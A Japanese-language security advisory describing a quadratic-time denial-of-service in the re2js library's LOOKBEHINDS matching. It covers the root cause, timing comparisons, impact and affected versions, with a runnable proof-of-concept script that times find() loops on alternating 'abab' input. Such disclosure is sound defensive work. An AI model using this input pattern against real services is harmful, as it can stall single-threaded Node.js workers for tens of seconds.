RE2JS: re2jsのルックビハインドマッチングにおける二次時間的なサービス拒否
### 概要
`LOOKBEHINDS`オプションフラグを、繰り返しマッチングを行うAPI（`matcher().find()`をループで使用、`matchAll()`、`split()`、`matcher().replaceAll()`など）と組み合わせて使用すると、二次時間（Θ(n²)）のマッチングが発生し、ライブラリ自身の「線形時間マッチング」という保証に反します。16,000文字の入力に対して、単一の呼び出しで**36.7～38.7秒のCPU時間**を消費します。
### 説明
#### 根本原因
`build/index.cjs`の`Machine.match`関数内:
```js
let currentPos = this.prog.numLb > 0 ? 0 : pos; // ~1907行目
...
if (this.ncap === 0 && this.matched) break; // ~1953行目
```
ルックビハインドを含むパターンは、`prog.numLb > 0`を設定し、これによりスキャンは**常にオフセット0から再開されます**。これは、要求された開始位置に関わらず、ルックビハインドのオートマトンが再初期化され、入力全体が`find()`の呼び出しごとに再走査されるためです。通常は、最初のマッチで終了する最適化が適用されますが、これは`ncap === 0`の場合にのみ有効です。しかし、`Matcher`ベースのすべてのAPI（`find`/`matchAll`/`split`/`replaceAll`）は、キャプチャグループがなくても、常に`ncap = 2`（キャプチャグループのスロット1つ）を要求するため、これらのAPIでは早期終了は発生せず、スキャンはすべての`find()`呼び出しで入力の最後まで継続されます。
したがって、*n*文字の文字列内で*k*個のマッチを検索するループは、*k* × Θ(*n*)のコストがかかり、密なマッチの場合、*k*は*n*に比例するため、合計で**Θ(n²)**となります。
#### 制御の分離
同一の検索ループ、同一の入力サイズ、同じ2文字の文字列パターン*shape*を使用しますが、`LOOKBEHINDS`フラグの有無で比較します。
| n | `LOOKBEHINDS`あり（ルックビハインドパターン） | `LOOKBEHINDS`なし（単純な文字列） | ネイティブJSの`RegExp`ルックビハインド |
|---|---|---|---|
| 2,000 | 204～228 ms | 3 ms | 0 ms |
| 4,000 | 877～899 ms | 4 ms | 0 ms |
| 8,000 | 5,746～6,599 ms | 7 ms | 1 ms |
| 16,000 | 36,667～38,732 ms | 6 ms | 1 ms |
これは、パターン長や抽象的なマッチ密度ではなく、ルックビハインドの仕組み自体が、正確かつ唯一の原因であることを示しています。
#### 影響
- `re2js`の主な利点は、RE2スタイルのエンジンであり、**線形時間で、バックトラッキングを行わない**マッチングを提供することです。これは、バックトラッキングを行う正規表現エンジンに頻繁に見られる、アルゴリズムの複雑性による攻撃を防ぐためのものです。
- この問題は、`LOOKBEHINDS`機能を実際に利用しているユーザーにとって、その保証を無効にします。
- 影響を受ける可能性のあるコードの例としては、トークン化や、ルックビハインドベースのパターン（`matchAll`、`split`、`replaceAll`など、まさにこれらに適したAPI）を使用して、機密情報を削除するログ/テキスト処理などが考えられます。これらの処理は、攻撃者が操作したテキスト（ユーザー入力、アップロードされたログ、スクレイピングされたコンテンツなど）に適用される可能性があります。
- 単一の約16〜32KBの要求が、CPUコアを数十秒から数分間占有します。Node.jsがシングルスレッドであるため、これにより、ワーカープロセス全体がその間、停止してしまいます。攻撃者は、認証や特別なパターンの知識を必要とせず、単純な交互パターン（"abababab..."など）を使用するだけで、この問題を発生させることができます。
#### 再現方法（コピー＆ペーストで実行可能）
`poc.js`というファイルを作成します。
```js
'use strict';
// PoC: re2jsのルックビハインドマッチングにおける、二次時間によるDoS攻撃（オプションのLOOKBEHINDSフラグ）。
// 使い方：
// npm pack re2js@2.8.6 --ignore-scripts && tar -xzf re2js-2.8.6.tgz
// node poc.js ./package
const path = require('path');
const pkgDir = process.argv[2] || './package';
const { RE2JS } = require(path.resolve(pkgDir, 'build/index.cjs'));
const re = RE2JS.compile('(?<=a)b', RE2JS.LOOKBEHINDS);
function timeFindLoop(n) {
const s = 'ab'.repeat(n / 2);
const t0 = Date.now();
const m = re.matcher(s);
let count = 0;
while (m.find()) count++;
return { ms: Date.now() - t0, count };
}
console.log('n, matches, ms');
const sizes = [2000, 4000, 8000, 16000];
const results = [];
for (const n of sizes) {
const r = timeFindLoop(n);
results.push(r.ms);
console.log(`${n}, ${r.count}, ${r.ms}`);
}
```
```javascript
const ratio = results[results.length - 1] / results[results.length - 2];
console.log('');
console.log('nの最終的な倍率における時間比: ' + ratio.toFixed(2) + ' (約2 => 線形、約4 => 二次)');
console.log(ratio > 3 ? '合格: 実際の公開パッケージで、二次的なスケーリングが確認されました' : '不合格: スケーリングが線形に見えます');
process.exit(ratio > 3 ? 0 : 1);
```
そして、ターミナルで以下を実行します。
```sh
npm pack re2js@2.8.6 --ignore-scripts
tar -xzf re2js-2.8.6.tgz
node poc.js ./package
```
`poc.js` は、`matcher(s).find()` ループを `(?<=a)b` と `RE2JS.LOOKBEHINDS` に対して、2,000/4,000/8,000/16,000 文字の入力に対して実行し、倍率を報告します。 期待される結果は、明らかに超線形（比率 ≫ 2、4倍の二次的な特徴に近づくまたは超える）であり、16,000 文字で数十秒かかるはずです。 2回実行し、結果は決定論的です。
影響を受けるパッケージ：
- npm (JavaScript) re2js: 影響を受けるバージョンは 2.2.0 以上、2.8.7 未満、2.8.7 で修正済み。